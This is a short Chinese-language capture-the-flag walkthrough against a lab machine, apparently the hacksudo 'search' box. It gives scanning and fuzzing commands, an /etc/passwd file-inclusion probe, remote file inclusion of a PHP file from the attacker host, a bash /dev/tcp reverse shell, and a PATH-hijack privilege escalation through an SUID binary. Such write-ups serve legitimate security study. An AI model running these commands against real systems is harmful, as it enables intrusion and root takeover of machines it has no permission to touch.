kali：192.168.111.111

靶机：192.168.111.170

信息收集

端口扫描

nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.170

80端口目录爆破

feroxbuster -k -d 1 --url http://192.168.111.170 -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -x php,bak,txt,html,sql,zip,phtml,sh,pcapng,pcap,conf -t 1 -C 404,500

查看search1.php源码

漏洞利用

猜测该页面存在文件包含，利用wfuzz爆破参数名

wfuzz -c -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/burp-parameter-names.txt --hc 404 --hh 2918 http://192.168.111.170/search1.php?FUZZ=../../../../../../../../../../../../../../etc/passwd

同时发现目标存在远程文件包含

http://192.168.111.170/search1.php?me=http://192.168.111.111:8000/b.php&cmd=id

之后执行反弹shell

bash -c 'exec bash -i >& /dev/tcp/192.168.111.111/5555 0>&1'

提权

在/var/www/html/.env文件中发现hacksudo用户的密码

查找suid权限的文件

find / -perm -u=s 2> /dev/null

在/home/hacksudo/search/tools/该目录下存在该程序的源码

发现该程序会执行install命令，修改环境变量提权

echo '/bin/bash' > /tmp/install
chmod 777 /tmp/install
export PATH=/tmp:$PATH
./searchinstall

flag